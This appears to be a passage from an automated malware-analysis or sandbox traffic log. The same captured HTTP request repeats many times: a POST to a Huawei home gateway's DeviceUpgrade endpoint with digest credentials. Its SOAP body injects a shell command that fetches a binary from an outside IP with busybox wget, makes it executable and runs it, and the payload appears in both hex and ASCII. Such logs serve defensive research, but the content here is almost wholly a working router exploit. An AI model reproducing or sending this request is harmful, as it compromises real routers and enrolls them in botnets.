103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 